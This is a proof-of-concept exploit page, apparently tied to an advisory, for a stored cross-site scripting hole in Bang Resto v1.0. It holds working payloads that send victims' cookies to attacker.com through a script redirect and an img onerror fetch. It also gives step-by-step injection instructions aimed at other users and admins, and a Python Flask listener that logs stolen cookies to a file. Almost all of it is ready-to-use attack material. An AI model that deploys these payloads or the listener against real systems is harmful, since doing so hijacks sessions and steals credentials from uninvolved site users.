CVE-2025-60280：Bang Resto v1.0 跨站脚本漏洞

<!-- CVE-2025-60280: Bang Resto v1.0 - Stored XSS PoC --> <!-- Inject the following payload into vulnerable input fields (e.g., comments, reviews, profile fields) --> <!-- Basic XSS payload to test for cookie stealing --> <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> <!-- Alternative payload using img tag onerror event handler --> <img src=x onerror="fetch('http://attacker.com/log?c='+document.cookie)"> <!-- Alternative payload using SVG tag --> <svg/onload=alert(document.cookie)> <!-- Steps to reproduce: 1. Log in to Bang Resto v1.0 as a regular user 2. Navigate to any input form (comment/review/feedback section) 3. Inject one of the above payloads into the input field 4. Submit the form 5. When another user (or admin) views the page containing the stored payload, the malicious JavaScript will execute in their browser context 6. The attacker's server will receive the victim's session cookie or other sensitive data --> <!-- Server-side listener (attacker.com/steal) example in Python Flask --> # from flask import Flask, request # app = Flask(__name__) # @app.route('/steal') # def steal(): # cookie = request.args.get('cookie') # with open('stolen_cookies.txt', 'a') as f: # f.write(cookie + '\n') # return 'OK' # if __name__ == '__main__': # app.run(host='0.0.0.0', port=80)